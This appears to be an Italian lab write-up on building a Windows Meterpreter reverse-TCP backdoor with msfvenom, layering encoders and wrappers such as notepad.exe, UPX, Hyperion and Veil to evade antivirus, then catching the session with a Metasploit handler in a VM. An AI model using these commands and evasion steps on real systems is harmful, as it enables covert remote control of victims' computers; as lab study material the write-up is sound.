1. Preparazione dell'Ambiente

Prima di iniziare, è fondamentale garantire che il mio ambiente di lavoro sia sicuro e isolato. Per questo motivo, utilizzo una **macchina virtuale Kali Linux con IP 192.168.50.100**. Per proteggere il sistema host da eventuali rischi, ho creato uno **snapshot della VM**. In questo modo, posso ripristinarla rapidamente in caso di errori.

Mi preparo anche a monitorare il comportamento del malware una volta eseguito, utilizzando strumenti come **Process Monitor** e **Wireshark**. Questi strumenti mi permettono di tracciare le azioni del malware sul sistema e sulla rete.

2. Generazione del Malware

Per generare il payload, utilizzo MSFvenom con il seguente comando di base:

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.50.100 LPORT=4444 -f exe > backdoor.exe
```

Miglioramenti per Ridurre la Rilevabilità

Per rendere il malware meno rilevabile, applico alcune tecniche avanzate. Modifico il comando di MSFvenom per includere più encoder e iterazioni, rendendo il payload più difficile da rilevare dai motori antivirus.

```
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.50.100 LPORT=4444 -e x86/shikata_ga_nai
-i 200 -f raw | \

msfvenom -a x86 --platform windows -e x86/xor_dynamic
-i 200 -f raw | \

msfvenom -a x86 --platform windows -e
x86/shikata_ga_nai -i 200 -o backdoor_v2.exe
```

Spiegazione delle Modifiche

1. **Incremento delle Iterazioni (`-i 200`)**: Aumento il numero di iterazioni a **200** per ciascun encoder. Questo significa che il payload viene codificato più volte, cambiando aspetto ogni volta e risultando meno riconoscibile agli strumenti di rilevamento.
2. **Utilizzo di Encoder Diversi**: Aggiungo encoder come `xor_dynamic` insieme a `shikata_ga_nai`, creando **livelli multipli di offuscamento** che rendono il payload più difficile da analizzare e rilevare.
3. **Offuscamento Avanzato**: L'applicazione di encoding multiplo, insieme all'uso di encoder diversi, aumenta la **complessità del codice**, rendendo più arduo per un antivirus individuare il malware tramite analisi statica.

3. Tecniche Aggiuntive per Migliorare la Non Rilevabilità

1. **Modifica del Payload**:
   - Aggiungo **NOP sleds** (sequenze di codice inutili) per confondere gli strumenti di rilevamento statici che cercano pattern specifici nel malware.
   - Modifico le **variabili e le funzioni** del payload per evitare che i motori di rilevamento identifichino la firma del malware.
2. **Wrapper**:
   - Utilizzo un **wrapper** per incapsulare il payload all'interno di un'applicazione legittima, come **notepad.exe**, rendendolo visivamente innocuo. Questo metodo è utile per mascherare il file agli occhi dell'utente e agli antivirus.
   - Posso usare tecniche di **steganografia** o un packer come **UPX** per comprimere ulteriormente il malware, rendendolo meno visibile.
3. **Offuscazione**:
   - Strumenti come **Hyperion** sono utili per crittografare il payload, evitando che sia facilmente analizzabile da software antivirus.

- Utilizzo anche **Veil**, un framework specifico per la creazione di payload offuscati che sfuggono ai meccanismi di rilevamento.

4. Configurazione di Metasploit

Dopo aver creato il payload, configuro Metasploit per ricevere la connessione inversa del malware:

Avvio di Metasploit:

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.50.100
set LPORT 4444
exploit
```

Esecuzione del Malware sulla Macchina Target: Una volta configurato Metasploit, eseguo il file **backdoor_v2.exe** sulla macchina virtuale bersaglio per stabilire una sessione Meterpreter.